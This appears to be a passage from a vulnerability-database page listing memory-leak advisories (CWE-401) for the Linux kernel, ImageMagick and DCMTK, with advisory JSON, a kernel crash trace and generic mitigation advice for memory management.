[ 4277.431227] worker_thread+0x277/0x390 [ 4277.431962] ? __pfx_worker_thread+0x10/0x10 [ 4277.432752] kthread+0xf0/0x120 [ 4277.433382] ? __pfx_kthread+0x10/0x10 [ 4277.434134] ret_from_fork+0x2d/0x50 [ 4277.434837] ? __pfx_kthread+0x10/0x10 [ 4277.435566] ret_from_fork_asm+0x1b/0x30 [ 4277.436280]

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-56566"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-27T15:15:15Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/slub: Avoid list corruption when removing a slab from the full list\n\nBoot with slub_debug=UFPZ.\n\nIf allocated object failed in alloc_consistency_checks, all objects of\nthe slab will be marked as used, and then the slab will be removed from\nthe partial list.\n\nWhen an object belonging to the slab got freed later, the remove_full()\nfunction is called. Because the slab is neither on the partial list nor\non the full list, it eventually lead to a list corruption (actually a\nlist poison being detected).\n\nSo we need to mark and isolate the slab page with metadata corruption,\ndo not put it back in circulation.\n\nBecause the debug caches avoid all the fastpaths, reusing the frozen bit\nto mark slab page with metadata corruption seems to be fine.\n\n[ 4277.385669] list_del corruption, ffffea00044b3e50-\u003enext is LIST_POISON1 (dead000000000100)\n[ 4277.387023] ------------[ cut here ]------------\n[ 4277.387880] kernel BUG at lib/list_debug.c:56!\n[ 4277.388680] invalid opcode: 0000 [#1] PREEMPT SMP PTI\n[ 4277.389562] CPU: 5 PID: 90 Comm: kworker/5:1 Kdump: loaded Tainted: G           OE      6.6.1-1 #1\n[ 4277.392113] Workqueue: xfs-inodegc/vda1 xfs_inodegc_worker [xfs]\n[ 4277.393551] RIP: 0010:__list_del_entry_valid_or_report+0x7b/0xc0\n[ 4277.394518] Code: 48 91 82 e8 37 f9 9a ff 0f 0b 48 89 fe 48 c7 c7 28 49 91 82 e8 26 f9 9a ff 0f 0b 48 89 fe 48 c7 c7 58 49 91\n[ 4277.397292] RSP: 0018:ffffc90000333b38 EFLAGS: 00010082\n[ 4277.398202] RAX: 000000000000004e RBX: ffffea00044b3e50 RCX: 0000000000000000\n[ 4277.399340] RDX: 0000000000000002 RSI: ffffffff828f8715 RDI: 00000000ffffffff\n[ 4277.400545] RBP: ffffea00044b3e40 R08: 0000000000000000 R09: ffffc900003339f0\n[ 4277.401710] R10: 0000000000000003 R11: ffffffff82d44088 R12: ffff888112cf9910\n[ 4277.402887] R13: 0000000000000001 R14: 0000000000000001 R15: ffff8881000424c0\n[ 4277.404049] FS:  0000000000000000(0000) GS:ffff88842fd40000(0000) knlGS:0000000000000000\n[ 4277.405357] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 4277.406389] CR2: 00007f2ad0b24000 CR3: 0000000102a3a006 CR4: 00000000007706e0\n[ 4277.407589] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[ 4277.408780] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[ 4277.410000] PKRU: 55555554\n[ 4277.410645] Call Trace:\n[ 4277.411234]  \u003cTASK\u003e\n[ 4277.411777]  ? die+0x32/0x80\n[ 4277.412439]  ? do_trap+0xd6/0x100\n[ 4277.413150]  ? __list_del_entry_valid_or_report+0x7b/0xc0\n[ 4277.414158]  ? do_error_trap+0x6a/0x90\n[ 4277.414948]  ? __list_del_entry_valid_or_report+0x7b/0xc0\n[ 4277.415915]  ? exc_invalid_op+0x4c/0x60\n[ 4277.416710]  ? __list_del_entry_valid_or_report+0x7b/0xc0\n[ 4277.417675]  ? asm_exc_invalid_op+0x16/0x20\n[ 4277.418482]  ? __list_del_entry_valid_or_report+0x7b/0xc0\n[ 4277.419466]  ? __list_del_entry_valid_or_report+0x7b/0xc0\n[ 4277.420410]  free_to_partial_list+0x515/0x5e0\n[ 4277.421242]  ? xfs_iext_remove+0x41a/0xa10 [xfs]\n[ 4277.422298]  xfs_iext_remove+0x41a/0xa10 [xfs]\n[ 4277.423316]  ? xfs_inodegc_worker+0xb4/0x1a0 [xfs]\n[ 4277.424383]  xfs_bmap_del_extent_delay+0x4fe/0x7d0 [xfs]\n[ 4277.425490]  __xfs_bunmapi+0x50d/0x840 [xfs]\n[ 4277.426445]  xfs_itruncate_extents_flags+0x13a/0x490 [xfs]\n[ 4277.427553]  xfs_inactive_truncate+0xa3/0x120 [xfs]\n[ 4277.428567]  xfs_inactive+0x22d/0x290 [xfs]\n[ 4277.429500]  xfs_inodegc_worker+0xb4/0x1a0 [xfs]\n[ 4277.430479]  process_one_work+0x171/0x340\n[ 4277.431227]  worker_thread+0x277/0x390\n[ 4277.431962]  ? __pfx_worker_thread+0x10/0x10\n[ 4277.432752]  kthread+0xf0/0x120\n[ 4277.433382]  ? __pfx_kthread+0x10/0x10\n[ 4277.434134]  ret_from_fork+0x2d/0x50\n[ 4277.434837]  ? __pfx_kthread+0x10/0x10\n[ 4277.435566]  ret_from_fork_asm+0x1b/0x30\n[ 4277.436280]  \u003c/TASK\u003e",
  "id": "GHSA-xqjf-h57w-hh6f",
  "modified": "2025-09-23T18:30:20Z",
  "published": "2024-12-27T15:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56566"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/33a213c04faff6c3a7fe77e947db81bc7270fe32"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/943c0f601cd28c1073b92b5f944c6c6c2643e709"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/dbc16915279a548a204154368da23d402c141c81"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQMC-7954-658R

Vulnerability from github – Published: 2026-07-15 12:32 – Updated: 2026-07-15 12:32
VLAI
Details

ImageMagick through 7.1.2-18 contains a memory leak vulnerability in the ASHLAR coder when an action fails. Attackers can trigger failed actions to exhaust memory resources and cause denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-56375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-15T12:18:02Z",
    "severity": "MODERATE"
  },
  "details": "ImageMagick through 7.1.2-18 contains a memory leak vulnerability in the ASHLAR coder when an action fails. Attackers can trigger failed actions to exhaust memory resources and cause denial of service.",
  "id": "GHSA-xqmc-7954-658r",
  "modified": "2026-07-15T12:32:02Z",
  "published": "2026-07-15T12:32:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-6p22-q7w5-33pg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56375"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/imagemagick-memory-leak-in-ashlar-coder-action-failure"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XQR4-WC4C-36XJ

Vulnerability from github – Published: 2024-09-04 21:30 – Updated: 2025-11-04 00:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

net: dsa: bcm_sf2: Fix a possible memory leak in bcm_sf2_mdio_register()

bcm_sf2_mdio_register() calls of_phy_find_device() and then phy_device_remove() in a loop to remove existing PHY devices. of_phy_find_device() eventually calls bus_find_device(), which calls get_device() on the returned struct device * to increment the refcount. The current implementation does not decrement the refcount, which causes memory leak.

This commit adds the missing phy_device_free() call to decrement the refcount via put_device() to balance the refcount.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-44971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-04T19:15:31Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: dsa: bcm_sf2: Fix a possible memory leak in bcm_sf2_mdio_register()\n\nbcm_sf2_mdio_register() calls of_phy_find_device() and then\nphy_device_remove() in a loop to remove existing PHY devices.\nof_phy_find_device() eventually calls bus_find_device(), which calls\nget_device() on the returned struct device * to increment the refcount.\nThe current implementation does not decrement the refcount, which causes\nmemory leak.\n\nThis commit adds the missing phy_device_free() call to decrement the\nrefcount via put_device() to balance the refcount.",
  "id": "GHSA-xqr4-wc4c-36xj",
  "modified": "2025-11-04T00:31:21Z",
  "published": "2024-09-04T21:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44971"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7feef10768ea71d468d9bbc1e0d14c461876768c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a7d2808d67570e6acae45c2a96e0d59986888e4c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b7b8d9f5e679af60c94251fd6728dde34be69a71"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c05516c072903f6fb9134b8e7e1ad4bffcdc4819"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e3862093ee93fcfbdadcb7957f5f8974fffa806a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f3d5efe18a11f94150fee8b3fda9d62079af640a"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQR6-H56F-8R2J

Vulnerability from github – Published: 2022-06-29 00:00 – Updated: 2025-11-03 21:30
VLAI
Details

DCMTK through 3.6.6 does not handle memory free properly. The malloced memory for storing all file information are recorded in a global variable LST and are not freed properly. Sending specific requests to the dcmqrdb program can incur a memory leak. An attacker can use it to launch a DoS attack.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-41690"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-28T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "DCMTK through 3.6.6 does not handle memory free properly. The malloced memory for storing all file information are recorded in a global variable LST and are not freed properly. Sending specific requests to the dcmqrdb program can incur a memory leak. An attacker can use it to launch a DoS attack.",
  "id": "GHSA-xqr6-h56f-8r2j",
  "modified": "2025-11-03T21:30:42Z",
  "published": "2022-06-29T00:00:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41690"
    },
    {
      "type": "WEB",
      "url": "https://github.com/DCMTK/dcmtk/commit/a9697dfeb672b0b9412c00c7d36d801e27ec85cb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/DCMTK/dcmtk"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00022.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00032.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-41
Implementation

Strategy: Libraries or Frameworks

  • Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.
  • For example, glibc in Linux provides protection against free of invalid pointers.
  • When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391].
  • To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.
Mitigation
Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Mitigation
Architecture and Design Build and Compilation

Consider using the Boehm-Demers-Weiser garbage collector (bdwgc), which can help avoid leaks.

No CAPEC attack patterns related to this CWE.